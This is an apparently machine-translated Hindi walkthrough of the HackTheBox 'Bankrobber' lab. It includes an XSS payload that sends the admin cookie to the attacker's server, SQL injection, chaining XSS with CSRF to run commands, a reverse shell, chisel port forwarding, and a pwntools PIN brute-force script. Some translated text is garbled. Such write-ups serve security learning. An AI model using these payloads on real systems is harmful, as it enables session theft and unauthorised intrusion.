बॉक्स को हैक करें। वॉकथ्रू बैंकबॉबर। XSS, SQL इंजेक्शन, CSRF, पोर्ट फ़ॉरवर्डिंग

छवि

मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम XSS के माध्यम से साइट प्रशासक की कुकीज़ चुरा लेंगे, SQL इंजेक्शन का उपयोग कर कोड का पता लगा लेंगे, XSS और CSRF का उपयोग करके कमांड एक्ज़ीक्यूटिव फॉर्म के माध्यम से शेल प्राप्त करेंगे, विंडोज से पोर्ट को पॉकेट में लाएँगे, और pwntools का उपयोग करके आसान मनी एप्लीकेशन के पिन को ट्विस्ट करेंगे।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि एक कार्य कंप्यूटर या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, क्योंकि आप उन लोगों के साथ एक निजी नेटवर्क में आते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

टोह


इस मशीन का आईपी एड्रेस 10.10.10.154 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।

10.10.10.154	bankrobber.htb

सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम प्रति सेकंड 500 पैकेट की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

छवि

अब, बंदरगाहों पर काम करने वाली सेवाओं के बारे में अधिक विस्तृत जानकारी के लिए, हम -ए विकल्प के साथ एक स्कैन चलाएंगे।

nmap -A bankrobber.htb -p80,443,445,3306

छवि

होस्ट में एक वेब सर्वर और SMB है, और MySQL भी उपलब्ध है। SMB और MySQL हमें कुछ नहीं देते हैं, इसलिए वेब पर देखें।

छवि

बिटकॉइन वेबसाइट प्रस्तुत की गई है जहां हम पंजीकरण कर सकते हैं।

छवि

चलो रजिस्टर करें और लॉग इन करें। हमें फंड ट्रांसफर करने के लिए एक फॉर्म दिया जाता है।

छवि

एक सरल परीक्षण अनुरोध पूरा करने के बाद, हमें एक संदेश मिलता है। इसमें कहा गया है कि प्रशासक हमारे लेनदेन के अनुरोध पर विचार करेगा और निर्णय करेगा।

छवि

यह XSS का एक बहुत बड़ा संकेत है। आइए एडमिन कुकी को चुराने की कोशिश करते हैं। सबसे पहले, स्थानीय HTTP सर्वर को तैनात करें।

छवि

अब हम लेन-देन के अनुरोध को निष्पादित करते हैं, एक संदेश के रूप में निम्नलिखित जेएस लोड को निर्दिष्ट करते हुए।
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

इस प्रकार, एक तस्वीर अपलोड करने की कोशिश कर रहा है, स्क्रिप्ट इस पते पर जाएगी और एक पैरामीटर के रूप में हमें उस खाते की कुकीज़ भेज देगी जिसके तहत स्क्रिप्ट निष्पादित की गई थी (इस मामले में, व्यवस्थापक)।

छवि

यह बेस 64 जैसा दिखता है। हम प्रशासक लॉगिन और पासवर्ड को डिकोड और प्राप्त करते हैं।

छवि

व्यवस्थापक के रूप में लॉग इन करें और देखें कि हमारे लिए क्या नया है। उपयोगकर्ता के खोज क्षेत्र में एक उद्धरण भेजने से, हमें एक त्रुटि मिलती है - एक इंजेक्शन है।

छवि

एक अन्य सर्वर dir कमांड मांगता है।

छवि

लेकिन केवल लोकलहोस्ट ही जवाब देता है।

छवि

SQL इंजेक्शन पर वापस आते हैं।

छवि

हम स्तंभों की संख्या निर्धारित करते हैं और उनमें से कौन सा प्रदर्शित किया जाता है।

छवि

इस प्रकार, पहले और दूसरे स्तंभ प्रदर्शित होते हैं।

उपयोगकर्ता


थोड़ा बैठने के बाद, हम कुछ भी दिलचस्प नहीं पाते हैं। चलो पिछले दरवाजे मॉड्यूल पर चलते हैं। एक घटना का पता लगाएं जो एक बटन क्लिक का जवाब देती है।

छवि

ब्राउज़र कंसोल पर जाएं और फ़ंक्शन का नाम दर्ज करें।

छवि

हम फ़ंक्शन के लिंक का अनुसरण करते हैं।

छवि

और हम पाते हैं कि अनुरोध कहां जाता है। इंजेक्शन के लिए धन्यवाद, हम फ़ाइल (पहली बार मैंने डिफ़ॉल्ट xampp पथ का अनुमान लगाया) पढ़ सकते हैं।

छवि

इस प्रकार, यदि कमांड "dir" लाइन में मौजूद है, तो कमांड निष्पादित किया जाएगा। यह हमें आदेशों की एक श्रृंखला भेजने की अनुमति देता है। यह एक से निपटने के लिए बनी हुई है, अनुरोध लोकलहोस्ट से आना चाहिए। हम XSS और callSys () फ़ंक्शन को याद करते हैं, जिसे हम अनुरोध भेजने के लिए कॉल कर सकते हैं। हमारी धारणा की जाँच करें।

छवि

चूंकि कमांड पूरा हो गया है, आइए पैकेज से इनवोक-पॉवरशेल्प स्क्रिप्ट का उपयोग करके आरसीई को निष्पादित करेंनिशांग

छवि

जड़


सबसे पहले, हम सिस्टम की बुनियादी गणना का संचालन करते हैं। इसके लिए हम winPEAS का उपयोग करते हैं

छवि

सभी आउटपुट से हम लोकलहोस्ट 910 पर पोर्ट को खोलते हैं।

छवि

देखते हैं कि इस पर क्या है। पहले आपको पोर्ट फेंकने की आवश्यकता है। सभी कार्यक्रमों के बीच, सबसे सुविधाजनक समाधान छेनी हैलोकलहोस्ट और रिमोट होस्ट पर रन करें।

छवि

छवि

अब कनेक्ट करें और देखें कि क्या है।

छवि

4 अंकों का पिन कोड आवश्यक है। हम इसे सुलझा लेंगे।
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


छवि

हमें पिन कोड मिलता है और हमें लेनदेन राशि दर्ज करने के लिए कहा जाता है। हम ऐसा करते हैं और कुछ नहीं होता है।

छवि

प्रशासक के रूप में चल रहे कार्यक्रम में राशि हस्तांतरित की जाती है। अधिक कुछ नहीं ढूंढने पर, हम 100 वर्णों की राशि के रूप में स्थानांतरित होते हैं।

छवि

छवि

और हम देखते हैं कि प्रोग्राम लॉन्च लाइन हमारी रेखा के हिस्से में कैसे बदल गई है। आइए देखें कि यह किस सूचकांक से हुआ है।

छवि

इस प्रकार, यदि हम किसी अन्य प्रोग्राम के नाम के साथ एक लाइन पास करते हैं, तो इसे निष्पादित किया जाएगा। चलो देखते है।

छवि

छवि

छवि

और धारणा सच है। आरंभ करने के लिए, netcat डाउनलोड करें।

छवि

और अब वापस कनेक्ट करते हैं।

छवि

छवि

सिस्टम विशेषाधिकार प्राप्त करना।

आप हमसे टेलीग्राम पर जुड़ सकते हैंआइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।

All Articles